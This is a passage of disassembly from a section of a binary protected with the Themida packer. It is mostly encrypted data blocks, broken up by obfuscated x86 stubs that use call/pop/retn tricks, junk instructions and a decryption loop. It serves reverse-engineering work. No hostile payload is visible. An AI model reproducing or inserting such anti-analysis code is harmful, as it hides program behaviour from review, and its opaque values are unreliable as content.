		dd 5BF9F328h, 0A1020C77h, 0AE7C86E2h, 0F6E1CC0Bh, 3E21E45h
		dd 7B2BD5B3h, 0B9E87736h, 8F274788h, 92A7F609h,	0E7713DCAh
		dd 1A851882h, 0B9D90B9Bh, 0DBA7F60Eh, 4DC353ADh, 9A35E917h
		dd 4CAED9F6h, 0A7F60E20h, 3B53326Dh, 0B0D63897h, 0BE561F02h
		dd 45h,	0BEFCE583h, 0E2586181h,	29655BF9h, 39ED4CB0h, 0F62C6B87h
		dd 0AC5009A7h, 6985E5FEh, 24A7F62Ch, 0AD5309FDh, 0C33DABF9h
		dd 0EBBDCE53h, 51E18DA4h, 0EBF2097Eh, 97A45040h, 0B0D6B073h
		dd 0BE561E63h, 0B5h, 13B9D283h,	0A1FE5BF3h, 0E59C165Eh
		dd 45248519h, 86E230E2h, 9DCFC37Ch, 2BFB0F78h, 32772786h
		dd 0B35B2037h, 0D756BE89h, 7286F147h, 8D7912A0h, 7496D7E8h
		dd 5EA142D8h, 578B0A95h, 5EA14575h, 0EB887C6Fh,	0FC0547A0h
		dd 0F8C26F9Ah, 30D1505Bh, 9F3CC6A2h, 0E145BF2Bh, 34743BCCh
		dd 0CA5BBA28h, 74000003h, 0FDD1F208h, 6A587D8Bh, 0EEDC817Dh
		dd 186E0FF3h, 52F99A60h, 8278601Ah, 9F7EDE1h, 93671664h
		dd 1FEB9CF2h, 0E101467Eh, 580F25B5h, 0D298B700h, 72B34CB6h
		dd 0A1FEE410h, 57DB15Eh, 0F89D1CFFh, 1C25D18Ah,	69EFBAE1h
		dd 91655DB2h, 0F19215EBh, 4DB9D23Eh, 0BE403EB4h, 0AED96FFFh
		dd 0FD08395Ah, 99F9CD94h, 5EA1717Dh, 3462E938h,	6617E70Ah
		dd 1EA10092h, 627E9Bh, 5EA105D4h, 629F7EA1h, 595C121h
		dd 9CCF5EA1h, 0AB6AB568h, 0F9393456h, 2B7A5BFAh, 102B497Bh
		dd 1C45A7F9h, 84FC32E0h, 28D68C7Eh, 0DDF2827Ah,	9E31C7F4h
		dd 0B347693h, 7220D487h, 52936C2Fh, 4BDB275Ch, 0F2FB27E6h
		dd 0BFA2A2ECh, 0A8D7DB64h, 61B0D554h, 0D94DB9D2h, 0C7E4104Bh
		dd 0A8591BC4h, 0F9F37346h, 5BBB3C5Bh, 0A7F61F33h, 0D644277Eh
		dd 0F61F842Ch, 6F8E6A7h, 0C45A0694h, 7985E952h,	7B2B8ADBh
		dd 527B54E4h, 0E19B1738h, 0C739A717h, 2153D257h, 0B366806Eh
		dd 5048561Eh, 0D9000000h, 81BEFCE5h, 0BCAA0F7Ah, 0E5A4FE17h
		dd 0A8D7DB1Ch, 5AF99130h, 907318A0h, 3CE70F6Fh
		dd 73B25EA1h, 20AB6EB0h, 2D745BF9h, 6A2B4779h, 0E191A7F9h
		dd 0A32640AEh, 0C500561Fh, 104ED282h, 38986BEEh, 0FDEDB0B7h
		dd 0ED951A5Eh, 0AEDD2Ah, 9F620000h, 1E8C7813h, 31AA189Bh
		dd 0A7C351C5h, 7BC95Dh,	0E79026F4h, 8E707213h, 705EA1F9h
		dd 0FCD2F307h, 8F7B6C8Bh, 6B3B9A1Fh, 0BA4705E2h, 5FF6D58h
		dd 0B6D74EA4h, 0B7480AF7h, 0AF8B2857h, 0E51A85A2h, 0B72A42A4h
		dd 1148AC0Ch, 2CEF36EDh, 59A3DFD3h, 0E01A4634h,	8F6A5D02h
		dd 0D63FAD3Fh, 201h, 9A3BC1BDh,	2744B224h, 0ABC83453h
		dd 3556AAD7h, 0C2E31941h, 3FAB531Bh, 0B4D2A0C5h, 2055294Ah
		dd 0A8C3B7D4h, 0C2053F5Ch, 0F2374A0h, 0D9C84158h, 2F4CB6D2h
		dd 2BD4205Bh, 0FE6C88EAh, 0F6295EA1h, 0D62D5637h, 0C4DEB949h
		dd 85941709h, 36ADFCE5h, 12D958CAh, 414763D0h, 0A37968Ch
		dd 609CC5C9h, 0B5B801A1h, 1A855BF9h, 0D4367788h, 0A7F9D7B8h
		dd 2D89CEF5h, 3855D71Eh, 0E808D659h, 52A7F96Eh,	6DD2CA31h
		dd 9CF36B69h, 0C8EB0363h, 7FA6A7F9h, 2DC3CCBCh,	561F450Bh
		dd 0BA13h, 0B9D23C00h, 1F4BD94Dh, 25565CE5h, 5DDC5DD1h
		dd 0F9B517C9h, 9BE25EA1h, 81D18366h, 3B372EBh, 18639C68h
		dd 0DFF8D74Fh, 0C8AD6C58h, 0A17581FAh, 48F9BB24h, 432CFC07h
		dd 0ABD74B97h, 0A564C731h, 5D0807Dh, 91326DA4h,	92AFED0Ah
		dd 1699651Ch, 0B0DD89E9h, 49D8A2AFh, 0B24C3AB8h, 1FE41E0h
		dd 6E98F2C0h, 8E1CEA9Ch, 0AEDA682Bh, 27433754h,	54079DDh
		dd 36A43F8Fh, 0E8DFh, 0D02A5A00h, 5BADDFB3h, 0E31F443Ah
		dd 6995CCC2h, 0F00A7644h, 5A4428D3h, 0C3B7D42Eh, 443A5BA5h
		dd 0F2C0E511h, 34486D99h, 207B93F3h, 0F936580Fh, 4CB6D2C6h
		dd 0D4205B2Fh, 5B008EB7h, 9FF5E4A7h, 0C8F7913h,	6539CDBEh
		dd 9561149Ah, 0ADE1A001h, 0EEADCE3Ah, 5CBE4301h, 5BFCA964h
		dd 0F644D649h, 7E4C7185h, 0FB25F90Dh, 5ED9460Eh, 9FA5EA7Ah
		dd 77B18ECh, 709CFE54h,	3DEEB765h, 509303E2h, 25FE4835h
		dd 0B772A9C5h, 0BEBDE4EEh, 0C323C6AAh, 0EEB742ABh, 23DCBFE6h
		dd 0B742ABC3h, 0FCBFE6EEh, 52EF134Eh, 58DB275Ch, 0BDC809CAh
		dd 0C424E2B7h, 0E8981BBBh, 7AEA9DA7h, 3CA2CA35h, 2551B10Dh
		dd 70EEB7A0h, 8BFC4E31h, 0AB0AAF7Fh, 996D1896h,	80E5A405h
		dd 0F9AD5932h, 0C94h, 1FE09D00h, 55B4E2E4h, 27E65535h
		dd 48B2D234h, 0E71344DAh, 0F4E137h, 98661C92h, 36CCB40Ah
		dd 50AAD664h, 0E9154CC2h, 4F8E735h, 0A0560096h,	895014F2h
		dd 4BB53E0h, 1000000h, 0E8835BD8h, 24048704h, 7076685Ch
		dd 1C890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 52240489h, 686FF668h, 0F2815A52h, 54C6BAD1h,	148BD389h
		dd 4C48324h, 24048B54h,	5104C483h, 1150B850h, 7E352989h
		dd 0C17A3661h, 0DD3504E0h, 350C7D30h, 378A3235h, 158C189h
		dd 591989C1h, 5124048Bh, 0C181E189h, 4,	8704C183h, 8B5C240Ch
		dd 8957241Ch, 4C781E7h,	81000000h, 4C7h, 243C8700h, 661AE95Ch
		dd 0FC1AFFFAh, 6FE2FC07h, 0DDB5FFDBh, 0DF95B8DAh, 0C50306AEh
		dd 4D1DE0FFh, 0D8A84DA4h, 29181776h, 64E502E9h,	0FA320B40h
		dd 2DA226C2h, 31EE1A4Eh, 3406B6Fh, 0F108794Bh, 0D687067Fh
		dd 4826731Ah, 0AA416428h, 0D58974F3h, 82B62760h, 30AB2C78h
		dd 1C463932h, 7338787Fh, 0CE2F77E9h, 8E855B2h, 0C4000000h
		dd 21BBA73h, 81B5073Bh,	0CB7E5BCBh, 81FC592Ch, 5BFFC1h
		dd 13800F00h, 0E8000000h, 0Bh, 0C8248029h, 0F5BA0D85h
		dd 502A4D92h, 0D6685B5Bh, 0E9000016h, 0Eh, 0A1CC26D8h
		dd 10AB984Ch, 3B0AC7DDh, 0B85EC94Fh, 5F16EA4Dh,	81F9398Bh
		dd 321A2C7h, 0D18B661Ah, 8D52EF81h, 0D28128C1h,	189A5418h
		dd 0D23DF781h, 1CBB5B54h, 89335D3Ch, 0C3815739h, 142922A1h
		dd 1E98358h, 18840Fh, 0E9510000h, 11h, 4C37478Eh, 3B587D56h
		dd 0EFFC4265h, 2D5A2E42h, 49495B95h, 0C6BF0F49h, 0F01EE83h
		dd 0FFFFA385h, 0AE8F9FFh, 0C3000000h, 5286274h,	35BB897Ch
		dd 6CB6BAFFh, 0BA59321Bh, 761AAD39h, 644FC181h,	11E90000h
		dd 0AC000000h, 34C35560h, 2FE4FB4Bh, 1D438B54h,	0B3AA3A1Eh
		dd 68h,	665EFC00h, 1C8BD38Bh, 0E7816631h, 0F38112D5h, 68D62DF2h
		dd 16830F60h, 0E9000000h, 11h, 0D6E0AEBBh, 7A053678h, 0FCD1E26h
		dd 211EB213h, 0D781661Ch, 81612E01h, 0FFB07FEBh, 0DE96047h
		dd 63000000h, 0DC4C2564h, 0FAF8A8FDh, 0F5960F8Ah, 0C38161FCh
		dd 0E22375h, 48FF953h, 9880F31h, 0F000000h, 38Ch, 0D2B70F00h
		dd 0BF02EE83h, 4AF85AC2h, 52564E4Eh, 13E9h, 91C0A00h, 1B8E6C9h
		dd 122D1902h, 176B94A6h, 5610DEDCh, 0FE81585Ah,	0FFFF9CC0h
		dd 30850Fh, 14E90000h, 30000000h, 0C053D65Dh, 8CAFF509h
		dd 29A2D51h, 0E8CCBF04h, 0E91B6D09h, 22h, 0FE567FFDh, 7E204016h
		dd 0B48736EAh, 0EBE7604Eh, 8FBA612Eh, 0E961CAFDh, 0FFFFFF2Eh
		dd 8FCD9E08h, 8D8DA340h, 6AEE327h, 10E9h, 741FEE00h, 0B8C1142Eh
		dd 0A5ABEB52h, 1EBA4C5Bh, 0B98D89B9h, 8B06A805h, 0A8069985h
		dd 6985C706h, 4406A814h, 6A000066h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 8CB7C350h
		dd 619D8979h, 8B06A830h, 0BD85C7F3h, 6A80Bh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 35E6C351h, 14E8BCh, 0B18C0000h, 587B650Ah
		dd 24734ED9h, 0CCB2C91Dh, 910F1B0Dh, 0E781B7B7h, 4F37618Bh
		dd 71B5FF5Eh, 0E806A820h, 12h, 0E9CFDD88h, 2903DE61h, 489A33ABh
		dd 0B964B798h, 8D29E4ADh, 6A81019h, 0DD95FF5Ah,	8A06A820h
		dd 0FF006AC3h, 0A81B3195h, 0EBC08B06h, 3E902D09h, 8C019A62h
		dd 8D8DF863h, 6AEE449h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 4FC35040h, 0D2791BA7h, 0BFA02550h, 75BE66C8h
		dd 0B98D8994h, 6606A805h, 9AE0FB8h, 0A829A1BDh,	6985C706h
		dd 4806A814h, 6A00006Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0F5B8C351h,	72D8F588h
		dd 0E805611Eh, 10h, 0E90CB925h,	75A810F0h, 0A4A5EA37h
		dd 3BA9904Eh, 132EBE66h, 0BD85C75Bh, 6A80Bh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0BF87C357h, 1105A769h, 0A7D144A3h, 6E9h
		dd 1E89F900h, 0F0FAA4Eh, 286h, 0FFF78B00h, 0A81561B5h
		dd 0FA4CBB06h, 8D892078h, 6A82149h, 20DD95FFh, 6A06A8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 90F1CBC3h, 89087352h, 0A8219D9Dh, 4DBD8906h,	6A06A830h
		dd 3195FF00h, 8B06A81Bh, 140BEBC0h, 62340C6Eh, 6027C68h
		dd 9E8C4DAh, 0FC000000h, 16043B89h, 0CDA3A83Eh,	0DB9852Bh
		dd 0E95F06A8h, 6, 0EA3B4782h, 0C78136C1h, 6C7Fh, 2089958Bh
		dd 0F1BB06A8h, 6000001Ah, 0DDD8D89h, 665006A8h,	5A8F78BEh
		dd 6637FF61h, 0E67FD281h, 69C9805Eh, 4397EE81h,	0D9804B3Bh
		dd 0CBF681BCh, 66444D55h, 6231C181h, 378DF681h,	8B56600Eh
		dd 0A8068595h, 37895906h, 16E59D31h, 0EF8106A8h, 0E3C78FFh
		dd 0A718D89h, 0C78106A8h
		dd 0E3C78FBh, 0FE9h, 0ABF73600h, 96C670F1h, 51D1662Eh
		dd 2FD9EB78h, 1EB81h, 850F0000h, 0FFFFFF99h, 12E8h, 566BF500h
		dd 0C5B16112h, 276C4275h, 9627CB21h, 8932849Dh,	0A82CCD85h
		dd 0EE85A06h, 5D000000h, 14B95DA5h, 3A2E624Ah, 0D7D4915Ah
		dd 29B52335h, 5F06A81Bh, 1E418D8Bh, 0C78106A8h,	6185h
		dd 7E9h, 0FAF2FF00h, 18C913DCh,	34FFC033h, 0B5295138h
		dd 6A807C1h, 0C2815B5Ah, 7410DB6Fh, 0FCBBEB81h,	8B66181Dh
		dd 6CF381F1h, 236A3BE6h, 0A80F6595h, 0CEC38106h, 5078E733h
		dd 6BD68166h, 89535EC4h, 0A82CCD9Dh, 7048F06h, 0EADBD89h
		dd 896006A8h, 0A806CD8Dh, 886BB906h, 83617EDFh,	858903E8h
		dd 6A833EDh, 75853148h,	8106A833h, 0FF9F18F8h, 93850FFFh
		dd 66FFFFFFh, 0AF8FEE81h, 0E6668D8Dh, 0E1BB06AEh, 0E9792581h
		dd 6, 4727A295h, 8D89C3C6h, 6A805B9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 10C35242h, 66FEEB17h, 85C7C18Bh
		dd 6A81469h, 6BA0h, 2665958Bh, 85C706A8h, 6A80BBDh, 0
; ---------------------------------------------------------------------------
		jmp	loc_5B8032
; ---------------------------------------------------------------------------
		db 78h,	0E0h, 30h
; ---------------------------------------------------------------------------
		xor	al, 0A6h


loc_5B8032:				; CODE XREF: Themida_:005B8028j
		push	dword ptr [ebp+6A801B1h]
		sub	[ebp+6A82B91h],	esi
		call	dword ptr [ebp+6A820DDh]
		push	0
		push	edi
		call	sub_5B804F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B804F	proc near		; CODE XREF: Themida_:005B8047p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5B804F	endp

; ---------------------------------------------------------------------------
		ror	byte ptr ds:0CE7E1C51h,	cl
		cmp	[ecx], ebp
		mov	ch, 0C1h
		push	gs
		push	es
		push	0
		call	dword ptr [ebp+6A81B31h]
		mov	eax, eax
		jmp	short loc_5B80E4
; ---------------------------------------------------------------------------
		dd 9D948039h, 6CFCF90Ah, 0D49AE719h, 33B05346h,	0B02BB609h
		dd 0F3AB695Bh, 6959DC1h, 117E096Bh, 9857AF06h, 490F3CCh
		dd 0ECC100D5h, 22D51E7Eh, 0D05649D8h, 574E35A8h, 0B0C4B231h
		dd 65C01F5Ah, 78A2CCB9h, 0DEE71D22h, 0B1FE4B09h, 0B2CE69C4h
		dd 22FA600Bh, 928C5A97h, 7649B85Eh, 2AF691CCh, 0D636DBC8h
		dd 94875606h, 0B373EB5Ah
; ---------------------------------------------------------------------------


loc_5B80E4:				; CODE XREF: Themida_:005B8076j
		lea	ecx, [ebp+6AEE79Bh]
		push	0
		push	ecx
		call	sub_5B80F5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B80F5	proc near		; CODE XREF: Themida_:005B80EDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5B80F5	endp

; ---------------------------------------------------------------------------
		db 0DCh, 0Bh, 0DAh
		dd 68A0Fh, 9D090000h, 6A819ADh,	5B98D89h, 6A06A8h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0CC078CC3h, 0D88166D0h, 85C7644Eh, 6A81469h,	5A7Ch
		dd 418D8953h, 5E06A814h, 68CCBB66h, 0BBD85C7h, 6A8h, 66560000h
		dd 0FF58F88Bh, 0A816FDB5h, 68E0F06h, 8B000000h,	0A81E059Dh
		dd 48D0F06h, 66000000h,	0FFB5C9BFh, 0A820DD95h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0FF006AF6h, 0A81B3195h, 0EBC08B06h, 91143E39h, 0EA355C0Eh
		dd 1D1A6F3Bh, 0E9A3E4AFh, 0A4B813FDh, 0D73A3D33h, 237C170Bh
		dd 269493h, 99B7B328h, 15F8D9BAh, 7D75CEE2h, 6CD1BBF5h
		dd 9E26FA9Ch, 683F5E83h, 8D8DA133h, 6AEE8A7h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4AC35343h, 10E83DA9h
		dd 0D791AF70h, 0CD8589A8h, 8906A816h, 0A805B98Dh, 870F6006h
		dd 6, 210D852Bh, 8D3106A8h, 6A82AE5h, 6985C761h, 8C06A814h
		dd 6A000066h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 192C351h, 0E50CF554h, 0B307D3Eh
		dd 86EF8166h, 0BD85C729h, 6A80Bh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 2957C357h, 89F96257h, 0A8150D9Dh, 0A1B5FF06h, 8B06A814h
		dd 0A82F4D9Dh, 0DD95FF06h, 5306A820h, 81E9BA66h, 0FF006A5Bh
		dd 0A81B3195h, 0EBC08B06h, 1DA7F129h, 0D61C29DAh, 8D38449Ch
		dd 8720FFE0h, 83B6114Eh, 7A775676h, 9C0F70B0h, 0AF5C080Fh
		dd 4D15E54Dh, 0E3CA79E3h, 9E8024Ch, 86000000h, 1B4108FAh
		dd 0F32EED43h, 73B9D081h, 665A0EAAh, 0C281F38Bh, 7048h
		dd 6870Fh, 0BD890000h, 6A817A9h, 1BF568h, 59E18A00h, 3375B589h
		dd 32FF06A8h, 21319D89h, 895F06A8h, 0A82E2D9Dh,	0E3C78106h
		dd 0FC4246DCh, 0C6C4EF81h, 0B5233346h, 6A821FDh, 0C6C3F781h
		dd 9D096486h, 6A821BDh,	0EC803A89h, 4EA8355h, 1E981F9h
		dd 0F000000h, 0FFFFBD85h, 0E8F08BFFh, 14h, 193EE9A2h, 1D8476F1h
		dd 4953D569h, 0AB18C8Fh, 0D9587B65h, 20799D89h,	15A06A8h
		dd 0A81A599Dh, 0AFC28106h, 52000062h, 0B2BC881h, 0BF58612Ch
		dd 0
; ---------------------------------------------------------------------------
		stc


loc_5B8399:				; CODE XREF: Themida_:005B83F7j
		mov	ebx, [edx+edi]
		or	ax, 0D5B7h
		sub	ebx, 7B311694h
		sub	ebx, 23550376h
		xor	[ebp+6A820A5h],	edx
		add	ebx, 34327AA1h
		mov	[ebp+6A82B81h],	ecx
		push	ebx
		jnb	loc_5B83DC
		jmp	loc_5B83DC
; ---------------------------------------------------------------------------
		db 0E7h
		dd 7FFC3227h, 0EFE5DF1Fh, 474479D5h, 792E935Dh
; ---------------------------------------------------------------------------


loc_5B83DC:				; CODE XREF: Themida_:005B83C0j
					; Themida_:005B83C6j
		pop	dword ptr [edx+edi]
		mov	si, dx
		mov	esi, [ebp+6A8055Dh]
		sub	edi, 4
		mov	[ebp+6A80BD5h],	ecx
		cmp	edi, 0FFFF9DECh
		jnz	loc_5B8399
		mov	[ebp+6A822D9h],	esi
		lea	ecx, [ebp+6AEEAAFh]
		push	0
		push	ebp
		call	sub_5B8414
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8414	proc near		; CODE XREF: Themida_:005B840Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5B8414	endp

; ---------------------------------------------------------------------------
		lahf
		push	0FFFFFF8Eh
		adc	eax, 666312D8h
		mov	[ebp+6A805B9h],	ecx
		push	0
		push	esi
		call	sub_5B843D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B843D	proc near		; CODE XREF: Themida_:005B8435p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5B843D	endp

; ---------------------------------------------------------------------------
		add	eax, 0E84ABF66h
		mov	edi, ebx
		mov	dx, 4397h
		mov	dword ptr [ebp+6A81469h], 6B84h
		push	0
		push	esi
		call	sub_5B846D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B846D	proc near		; CODE XREF: Themida_:005B8465p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5B846D	endp

; ---------------------------------------------------------------------------
		db 50h,	0A2h, 0Fh
		dd 0C8Ah, 850B6000h, 6A801A9h, 958BBA66h, 0BD85C761h, 6A80Bh
		dd 31000000h, 0A8168595h, 0A9B5FF06h, 0B006A81Dh, 0DD95FFC1h
		dd 8906A820h, 0A800DD9Dh, 0FF006A06h, 0A81B3195h, 0EBC08B06h
		dd 0A8F3E40Ch, 7F9C5F1Eh, 0A97349FFh, 9E8F4h, 5B5A0000h
		dd 0DEC721CBh, 8B0B62E9h, 0A8297585h, 29605E06h, 0A817C5BDh
		dd 71858B06h, 6106A809h, 5B39C681h, 0BBF90000h,	105F8B7Bh
		dd 8B18C381h, 0BA66EFA0h, 36FF9CE6h, 15CD9D01h,	0B65906A8h
		dd 94F18106h, 0F90A3D68h, 0B9CCE981h, 0DF812214h, 732811DFh
		dd 322FE981h, 0EE97E68h, 0F2000000h, 2CBA0A64h,	7D34DDD7h
		dd 0D6573D7Eh, 8A0E8935h, 0EE81E2h, 0FC6366F6h,	0F5FCC681h
		dd 60606366h, 16CD858Bh, 858B06A8h, 6A81A5Dh, 0EB836161h
		dd 3E850F01h, 0E8000000h, 14h, 45C2F9Ch, 0EE903DE1h, 0BDEB6C86h
		dd 20FBC7F4h, 0A719AC63h, 6800Fh, 0C2810000h, 3B85016Ah
		dd 31E95Fh, 4DEC0000h, 0E8D7D154h, 7902A16Ah, 7987210Bh
		dd 3E7B1326h, 0DA8057BBh, 57E9586Fh, 3FFFFFFh, 0E32E5D78h
		dd 7194C50h, 0BDA5FDF3h, 9F8DF15Eh, 0E845172Ah,	8, 0AEA0AE7Bh
		dd 0D678F6BFh, 9AA2F681h, 8B587F49h, 0A821C19Dh, 0D1C08106h
		dd 60000064h, 29B5858Bh, 2BBE06A8h, 612794B8h, 64484FBAh
		dd 0C0C28167h, 29989BD0h, 0A82F6D85h, 6630FF06h, 0BCF4DE81h
		dd 98E98159h, 50305F8Ah, 18F1815Bh, 811ABD19h, 627EBBD6h
		dd 0B5C18139h, 51755634h, 68E0Fh, 0EE810000h, 69891403h
		dd 9D8B008Fh, 6A826A1h,	6DBCE881h, 0BB662782h, 0C0812CF0h
		dd 27826DB8h, 0C7816650h, 815BEA49h, 1EAh, 0A6850F00h
		dd 8BFFFFFFh, 0A80F799Dh, 6E806h, 4DCF0000h, 0DC088F05h
		dd 9D895BF8h, 6A81769h,	6DBBC381h, 8B660000h, 1B4368F2h
		dd 81660000h, 5A26ABC6h, 6820Fh, 0BD290000h, 6A82521h
		dd 0F5633FFh, 585ECFBFh, 6870Fh, 8D8B0000h, 6A81EE5h, 0E19DF081h
		dd 0B58B3790h, 6A827B1h, 45B5E881h, 8D8B7E33h, 6A8326Dh
		dd 4B73E881h, 0BD894C0Fh, 6A815EDh, 8FFE8B50h, 1EB8303h
		dd 6850Fh, 8D8B0000h, 6A827ADh,	894B4B4Bh, 0A80EADBDh
		dd 1EA8106h, 0F000000h,	1785h, 19B58900h, 0E906A801h, 19h
		dd 6A5A2D11h, 392BA5FBh, 0D0E6F129h, 0E96CE180h, 0FFFFFF80h
		dd 0AEC3479Ah, 0A0758298h, 14690889h, 8DA6DC78h, 368D481Fh
		dd 35A12E86h, 0D9259086h, 30254813h, 1E189905h,	3F25142Eh
		dd 30258102h, 0B5980786h, 3023EA93h, 305EA589h,	0B5E39086h
		dd 368D5D53h, 0D1BE4CC8h, 4A4F4CBh, 3F13D2A2h, 0D907BC8h
		dd 0BD23EAA8h, 9B4C5003h, 0BBF56F80h, 0E5A08E76h, 7E238C93h
		dd 3025166Eh, 72F24986h, 74AED42Eh, 30AE46A2h, 3401650Fh
		dd 0B5906FDEh, 0BD23E093h, 9B4C5503h, 0BBF5ED80h, 3035B07Eh
		dd 38CC8486h, 96254286h, 302BA489h, 3B6C9086h, 0C0A0474Fh
		dd 0D9DADB79h, 3025128Bh, 7F8A940Bh, 359D822Eh,	0CF254286h
		dd 3C98AC65h, 0BD233E6Bh, 9EC89A0Bh, 15379C80h,	0FF0E94B6h
		dd 0A0758247h, 14690889h, 8DA6DC78h, 368D481Fh,	35A12E86h
		dd 0D9259086h, 30254813h, 83189905h, 0A4F305E9h, 22B9h
		dd 0BE900h, 0EF840000h,	7FE8h, 0
		dd 802E900h, 57F20000h,	0A27881Eh, 3058FB4Fh, 0EC822D79h
		dd 91B21DA9h, 0B0C14EDCh, 3E8CC162h, 62B8F595h,	5CEAA3C1h
		dd 8D1950F3h, 81B9C319h, 43B606C5h, 1CBA1E05h, 57D6AEEAh
		dd 7DBB94AFh, 57D6ACEBh, 1D54F7AFh, 33E96389h, 622B4AFDh
		dd 8E12EC3Dh, 3C8B2D89h, 45872398h, 0B6007B22h,	39EA37E0h
		dd 6ED15518h, 881986CFh, 8007ACE5h, 0E0838A2Bh,	0CDB91DA9h
		dd 28147772h, 7Ch, 9B5EFFF3h, 316AB7FAh, 294ADB58h, 0D1A4D85h
		dd 3D164C87h, 8F34F89h,	0BCD41D63h, 0A3088F7Ch,	175AFB02h
		dd 0F73355F3h, 0CDAF5818h, 0E84C3662h, 12DF90FCh, 431Bh
		dd 6302ED00h, 0BAA58E2Ah, 2F743959h, 0A2EB8DFEh, 4D88A976h
		dd 34EEF2Eh, 0F948D9Eh,	7EF8251Eh, 0AF57D737h, 0E6EDB6E5h
		dd 98D20845h, 10AA74ACh, 1A3EAFE4h, 917FC553h, 0DE430A2Eh
		dd 19E46BCDh, 0C7000000h, 1BF25EFFh, 0D7B95BBEh, 38C26F58h
		dd 0AF5815FEh, 0B9C0614Ah, 6A51D598h, 0D80EB5E7h, 0FFD807AEh
		dd 98B3FDB5h, 9C2BC6BAh, 6B38EB2Bh, 7E57F1C8h, 0E1871885h
		dd 0BF412A8h, 28F72168h, 23E44900h, 339C4AF1h, 10DA5E13h
		dd 0A82D83F6h, 49D641BCh, 7D842D86h, 0EE1492DBh, 42EA3640h
		dd 0A8A10968h, 0A84C2A6Eh, 9AB718BCh, 0EDB2E6DFh, 0FBE4024Bh
		dd 2B981059h, 0A84BF723h, 0A102B9BCh, 1851F4DFh, 8916829Bh
		dd 3B60A6EFh, 0B91C30BAh, 0E0EC515Ah, 0E043FF48h, 0FFE6C3FBh
		dd 0BA30155Ch, 2F743959h, 5FE3E4FEh, 151B8693h,	0F4123983h
		dd 15DFCAE8h, 4BEFh, 59BA3000h,	7648923Ah, 9C19FD36h, 8B2D7EA3h
		dd 87CC863Ch, 0D7F0F748h, 0BAB1968Fh
dword_5B89E0	dd 3A87DA1Ch		; DATA XREF: Themida_:005504A5r
					; Themida_:00550507r
		dd 8BA8ECF7h, 43DFDB2Dh, 6BA5AF58h, 0EE5EE720h,	791C8D74h
		dd 0BA624730h, 1059FFDDh, 226B09EAh, 270CACFDh,	40DFE0C5h
		dd 0FA000000h, 723B59BAh, 722D6126h, 800BA95h, 0DEAF57D7h
		dd 971C59F5h, 0EACF1286h, 0FF2B0449h, 9ADDDC7Dh, 5BFDBFE6h
		dd 0B4FF3912h, 92B31CBAh, 0FF5259DFh, 0BA2B1059h, 12733A59h
		dd 0A3F4397Ch, 0FF8B9075h, 4E88155Ch, 0AF5C58B8h, 9C0148EBh
		dd 822F6203h, 7AF9BA13h, 0DAE1423Bh, 0AED4F2BBh, 5C591C1Ch
		dd 0ACE587AFh, 7BD41607h, 4BEC573Dh, 7D92FDE7h,	0BE977C08h
		dd 6058E208h, 22AF5C71h, 633CAF09h, 9F228FC2h, 0C5666D36h
		dd 0AE9A3288h, 4912DB4Ch, 30h, 155CFFD2h, 0F9314BF1h, 0AAAF57D6h
		dd 1601C184h, 34982182h, 862B6607h, 0FC0EBC95h,	0B5FFEBCDh
		dd 0BC179CB7h, 7F3655BEh, 0DAE14239h, 8FB4F2BBh, 0FB9D5CFFh
		dd 0D354D9B2h, 0C32CDA61h, 6942EFA2h, 14FF25CFh, 76F03871h
		dd 0B600042Bh, 0FAB3D23Dh, 0A3464B5h, 1B3AE521h, 2C0DCD52h
		dd 453A726Eh, 25484FD0h, 0A00D44E4h, 0A7089E77h, 0FA60CD84h
		dd 47711770h, 30D67047h, 727D9296h, 51C7703Ah, 29DD66D6h
		dd 1AB0EC9Fh, 709CD641h, 54EDEEAAh, 2817938Ch, 90F830BAh
		dd 5BF8304Ah, 61CAAF58h, 58FFB969h, 58FB57D0h, 0FFE6C363h
		dd 0BA30155Ch, 0D891B31Ch, 80B8425Bh, 42AF57D7h, 0DEC54FE9h
		dd 0DFCAE8F4h, 25EF15h,	0E7300000h, 0BA1308ABh,	57D70800h
		dd 7451FAAFh, 3CDA1CBAh, 7BBC3A63h, 0FFD6DD5Bh,	0C52B1059h
		dd 5EDFE0h, 0E7FA0000h,	0BA1308ABh, 25C2DA1Ch, 559CF9B0h
		dd 584FF733h, 8962CDAFh, 4FE1D92Fh, 9780AF58h, 0C07FF973h
